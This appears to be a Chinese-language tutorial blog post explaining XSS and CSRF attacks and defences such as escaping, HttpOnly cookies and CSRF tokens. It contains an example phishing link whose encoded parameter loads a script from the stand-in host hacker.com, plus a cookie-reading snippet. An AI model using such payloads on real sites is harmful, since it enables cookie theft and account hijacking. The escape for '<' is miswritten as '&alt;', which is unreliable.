XSS, CSRF

327 阅读3分钟

XSS,Cross Site Script,跨站脚本攻击

反射型(非持久型)

发出请求时,恶意脚本代码出现在url中,作为输入提交到服务器端,服务器端解析后响应,XSS代码随响应内容一起传回给浏览器,最后浏览器解析执行XSS代码。
这个过程像一次反射,所以叫反射型XSS。
特点是: 非持久化,必须用户点击带有特定参数的链接才能引起。

构造一个连接来欺骗用户:

<a href="http://xxx?param=%3Cscript+src%3Dhttp%3A%2F%2Fhacker.com%2Fhacker.js%3E%3C%2Fscript%3E&commend=all&ssid=s5-e&search_type=item&atype=&filterFineness=&rr=1&pcat=food2011&style=grid&cat=">
点击就送998
</a>

param解析后

<script src="http://hacker.com/hacker.js"></script>

存储型(持久型)

存储型和反射型的差别:提交的代码会存储在服务器端(数据库、内存、文件系统等),下次请求时目标页面时不用再提交XSS代码。 这就意味着只要访问了这个页面的访客,都有可能会执行这段恶意脚本,因此存储型XSS的危害更大

基于DOM(特殊的反射型)

存储型与反射型都需要服务器响应参与
DOM XSS 是由于浏览器解析机制导致的漏洞,服务器不参与

image.png

image.png

//输入
alert(document.cookie

image.png

防范手段

总的原则:输入做过滤 输出做转义

  • 过滤:对诸如script、img、a等标签进行过滤;

  • 限制输入格式,如手机号,邮箱..

  • 转义:

    1. HTML对以下这些字符进行转义:

      &:&amp;
      <:&alt;
      >:&gt;
      ':&#x27;
      ":&quot;
      /:&#x2F;
      
    2. Javascript:把所有非字母、数字的字符都转义成小于256的ASCII字符;

    3. URL:使用Javascript的encodeURI方法对用户的输入进行编码,该方法会编码如下字符:

      ,      /      ?     :     @     &     =     +     $     #
      
  • 限制。通过以上的案例我们不难发现xss攻击要能达成往往需要较长的字符串,因此对于一些可以预期的输入可以通过限制长度强制截断来进行防御。

  • cookie中设置HttpOnly属性,那么js脚本将无法读取到cookie信息,这样能有效的防止XSS攻击。

CSRF,Cross Site Request Forgery,跨站请求伪造

image.png

从上图可以看出,要完成一次CSRF攻击,受害者必须满足两个必要的条件:

  1. 登录受信任网站A,并在本地生成Cookie。(如果用户没有登录网站A,那么网站B在诱导的时候,请求网站A的api接口时,会提示你登录)
  2. 在不登出A的情况下,访问危险网站B 防范手段
  • 验证 HTTP Referer 字段:Referer 指的是页面请求来源。意思是,只接受本站的请求,服务器才做响应;如果不是,就拦截。
  • 在请求地址中添加 token 并验证:
    1. 服务器发送给客户端一个token;
    2. 客户端提交的表单中带着这个token。
    3. 如果这个 token 不合法,那么服务器拒绝这个请求。
  • 在 HTTP 头中自定义属性并验证 : 由后端生成token设置在cookie中, 前端获取到token后设置在header中,可以统一在封装request方法时写入
setRequestHeader('x-csrf-token', csrfToken);

CSRF 和 XSS 的区别

区别一:

  • CSRF:需要用户先登录获取 cookie。
  • XSS:不需要登录。 区别二:(原理的区别)
  • CSRF:是利用网站A本身的漏洞,去请求网站A的api。
  • XSS:是向网站 A 注入 JS代码,然后执行 JS 里的代码,篡改网站A的内容。